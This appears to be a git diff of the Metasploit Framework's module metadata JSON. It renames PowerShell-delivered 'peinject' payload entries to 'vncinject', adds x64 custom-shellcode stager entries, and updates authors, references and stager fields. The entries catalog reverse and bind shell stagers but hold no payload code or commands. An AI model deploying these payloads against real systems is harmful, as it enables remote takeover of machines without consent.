"URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184337,18 +203654,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_tcp", + "ref_name": "cmd/windows/powershell/vncinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp" }, - "payload_cmd/windows/powershell/peinject/bind_tcp_rc4": { + "payload_cmd/windows/powershell/vncinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_rc4", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_rc4", "aliases": [ ], @@ -184357,16 +203680,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "mihi", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184377,18 +203700,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/vncinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/peinject/bind_tcp_uuid": { + "payload_cmd/windows/powershell/vncinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_uuid", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_uuid", "aliases": [ ], @@ -184397,13 +203726,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184414,18 +203744,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/vncinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/peinject/find_tag": { + "payload_cmd/windows/powershell/vncinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/peinject/find_tag", + "fullname": "payload/cmd/windows/powershell/vncinject/find_tag", "aliases": [ ], @@ -184434,12 +203770,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184450,18 +203787,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/find_tag", + "ref_name": "cmd/windows/powershell/vncinject/find_tag", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/find_tag", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/findtag_ord" }, - "payload_cmd/windows/powershell/peinject/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/vncinject/reverse_hop_http": { + "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_hop_http", "aliases": [ ], @@ -184470,14 +203813,58 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", - "hdm ", - "skape ", - "sf " + "sf ", + "scriptjunkie ", + "bannedit ", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/vncinject/reverse_hop_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_hop_http", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_hop_http" + }, + "payload_cmd/windows/powershell/vncinject/reverse_http": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http", + "aliases": [ + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184488,18 +203875,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/vncinject/reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_http", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_http" }, - "payload_cmd/windows/powershell/peinject/reverse_named_pipe": { - "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_named_pipe", + "payload_cmd/windows/powershell/vncinject/reverse_http_proxy_pstore": { + "name": "Powershell Exec, Reverse HTTP Stager Proxy", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http_proxy_pstore", "aliases": [ ], @@ -184508,12 +203901,57 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", - "OJ Reeves" + "sf ", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/vncinject/reverse_http_proxy_pstore", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_http_proxy_pstore", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_http_proxy_pstore" + }, + "payload_cmd/windows/powershell/vncinject/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ipv6_tcp", + "aliases": [ + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184524,18 +203962,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_named_pipe", + "ref_name": "cmd/windows/powershell/vncinject/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, - "payload_cmd/windows/powershell/peinject/reverse_nonx_tcp": { + "payload_cmd/windows/powershell/vncinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_nonx_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_nonx_tcp", "aliases": [ ], @@ -184544,12 +203988,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184560,18 +204005,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/vncinject/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_nonx_tcp" }, - "payload_cmd/windows/powershell/peinject/reverse_ord_tcp": { + "payload_cmd/windows/powershell/vncinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_ord_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ord_tcp", "aliases": [ ], @@ -184580,12 +204031,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "spoonm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184596,18 +204048,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/vncinject/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_ord_tcp" }, - "payload_cmd/windows/powershell/peinject/reverse_tcp": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp", "aliases": [ ], @@ -184616,14 +204074,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", - "skape ", - "sf " + "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184634,18 +204092,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp" }, - "payload_cmd/windows/powershell/peinject/reverse_tcp_allports": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_allports", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_allports", "aliases": [ ], @@ -184654,14 +204118,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", - "skape ", - "sf " + "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184672,18 +204136,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_allports" }, - "payload_cmd/windows/powershell/peinject/reverse_tcp_dns": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_dns", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_dns", "aliases": [ ], @@ -184692,15 +204162,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184711,18 +204181,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_dns" }, - "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4", "aliases": [ ], @@ -184731,16 +204207,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "mihi", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184751,18 +204227,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4_dns": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4_dns", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns", "aliases": [ ], @@ -184771,16 +204253,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "mihi", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184791,18 +204273,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, - "payload_cmd/windows/powershell/peinject/reverse_tcp_uuid": { + "payload_cmd/windows/powershell/vncinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_uuid", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_uuid", "aliases": [ ], @@ -184811,13 +204299,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184828,18 +204317,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/pingback_bind_tcp": { - "name": "Powershell Exec, Windows x86 Pingback, Bind TCP Inline", - "fullname": "payload/cmd/windows/powershell/pingback_bind_tcp", + "payload_cmd/windows/powershell/vncinject/reverse_winhttp": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/vncinject/reverse_winhttp", "aliases": [ ], @@ -184848,11 +204343,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7" + "sf ", + "hdm ", + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nOpen a socket and report UUID when a connection is received (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184863,18 +204361,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/pingback_bind_tcp", + "ref_name": "cmd/windows/powershell/vncinject/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_winhttp" }, - "payload_cmd/windows/powershell/pingback_reverse_tcp": { - "name": "Powershell Exec, Windows x86 Pingback, Reverse TCP Inline", - "fullname": "payload/cmd/windows/powershell/pingback_reverse_tcp", + "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp", "aliases": [ ], @@ -184883,9 +204387,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7" + "bwatters-r7", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", "references": [ ], @@ -184896,20 +204401,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/pingback_reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/powershell_bind_tcp": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/powershell_bind_tcp", + "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -184918,14 +204429,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "vlad902 ", - "sf " + "bwatters-r7", + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], "platform": "Windows", "arch": "cmd", @@ -184934,20 +204444,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/powershell_bind_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/powershell_reverse_tcp": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp", + "payload_cmd/windows/powershell/x64/custom/bind_named_pipe": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_named_pipe", "aliases": [ ], @@ -184956,14 +204472,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "vlad902 ", - "sf " + "bwatters-r7", + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], "platform": "Windows", "arch": "cmd", @@ -184972,20 +204486,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/powershell_reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_named_pipe" }, - "payload_cmd/windows/powershell/powershell_reverse_tcp_ssl": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp_ssl", + "payload_cmd/windows/powershell/x64/custom/bind_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp", "aliases": [ ], @@ -184994,14 +204514,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "vlad902 ", + "bwatters-r7", "sf " ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], "platform": "Windows", "arch": "cmd", @@ -185010,20 +204528,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/powershell_reverse_tcp_ssl", + "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp" }, - "payload_cmd/windows/powershell/shell/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Windows Command Shell, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_ipknock_tcp", + 